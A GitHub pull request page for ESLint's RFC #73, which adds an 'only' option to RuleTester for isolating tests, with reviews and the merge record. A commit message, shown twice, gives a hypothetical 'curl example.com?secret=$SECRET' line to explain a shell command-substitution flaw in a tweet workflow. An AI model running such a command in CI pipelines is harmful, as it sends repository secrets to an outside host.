Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New: RuleTester test isolation with only #73

Merged
merged 5 commits into from Feb 9, 2021
Merged

Conversation

@btmills
Copy link
Member

@btmills btmills commented Dec 28, 2020

Summary

RuleTester currently lacks a built-in way for developers to isolate individual tests during development. Temporarily deleting or commenting out the other tests is tedious. This adds an optional only property to run individual tests in isolation.

Related Issues

This was suggested as an alternative solution to RFC67 and eslint/eslint#13625 because that change may not be possible as currently described.

@btmills btmills changed the title New: RuleTester test isolation with only New: RuleTester test isolation with only Dec 28, 2020
btmills added a commit that referenced this issue Dec 28, 2020
RFC #73 originally included backticks around <code>`only`</code>. The
automated tweet omitted "only" and its backticks. I realized that the
`run` action command was using double quotes, so the backticks from the
PR title were being interpreted by the shell as command substitution.
Using single quotes disables any interpolation.

Thankfully only contributors can trigger the automated tweet by labeling
or merging an RFC, and we'd notice something like `curl
example.com?secret=$SECRET`, so this isn't really a security issue.
designs/2020-rule-tester-only/README.md Outdated Show resolved Hide resolved
Loading
designs/2020-rule-tester-only/README.md Outdated Show resolved Hide resolved
Loading
nzakas pushed a commit that referenced this issue Dec 29, 2020
RFC #73 originally included backticks around <code>`only`</code>. The
automated tweet omitted "only" and its backticks. I realized that the
`run` action command was using double quotes, so the backticks from the
PR title were being interpreted by the shell as command substitution.
Using single quotes disables any interpolation.

Thankfully only contributors can trigger the automated tweet by labeling
or merging an RFC, and we'd notice something like `curl
example.com?secret=$SECRET`, so this isn't really a security issue.
nzakas
nzakas approved these changes Dec 29, 2020
Copy link
Member

@nzakas nzakas left a comment

Pretty much what I had in mind, so 👍. Just a few points of clarification.

Loading

designs/2020-rule-tester-only/README.md Outdated Show resolved Hide resolved
Loading
designs/2020-rule-tester-only/README.md Outdated Show resolved Hide resolved
Loading
designs/2020-rule-tester-only/README.md Outdated Show resolved Hide resolved
Loading
@btmills btmills force-pushed the 2020-rule-tester-only branch from 3a195d1 to c3fda44 Jan 1, 2021
btmills added a commit to eslint/eslint that referenced this issue Jan 1, 2021
@btmills
Copy link
Member Author

@btmills btmills commented Jan 1, 2021

I've pushed a prototype implementation to the rfc73 branch.

Loading

nzakas
nzakas approved these changes Jan 13, 2021
designs/2020-rule-tester-only/README.md Show resolved Hide resolved
Loading
designs/2020-rule-tester-only/README.md Show resolved Hide resolved
Loading
designs/2020-rule-tester-only/README.md Show resolved Hide resolved
Loading
Copy link
Member

@mdjermanovic mdjermanovic left a comment

Looks good!

If that's still an open question, I'd vote to include the static RuleTester.only() helper.

Loading

@nzakas
Copy link
Member

@nzakas nzakas commented Jan 23, 2021

I think we are ready for final commenting on this.

Loading

@btmills
Copy link
Member Author

@btmills btmills commented Jan 23, 2021

I just updated the RFC text based on the last round of feedback to include the RuleTester.only() convenience method, note that throwing an error when only is unsupported is the right choice, and note that we don't feel the need to include skip in this change. All of the feedback should now be resolved.

Loading

nzakas
nzakas approved these changes Jan 26, 2021
@nzakas
Copy link
Member

@nzakas nzakas commented Feb 4, 2021

Given that we have a competing RFC (#67), to accept this we must reject that. I’m 👍 to doing so.

Loading

@CoryDanielson
Copy link

@CoryDanielson CoryDanielson commented Feb 5, 2021

Given that we have a competing RFC (#67), to accept this we must reject that. I’m 👍 to doing so.

Done :) #67 (comment)

Thanks for working on this problem, everyone!

Loading

@nzakas
Copy link
Member

@nzakas nzakas commented Feb 9, 2021

Okay, we have approved this RFC. 🎉

Loading

@nzakas nzakas merged commit 6173eab into master Feb 9, 2021
3 checks passed
Loading
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
4 participants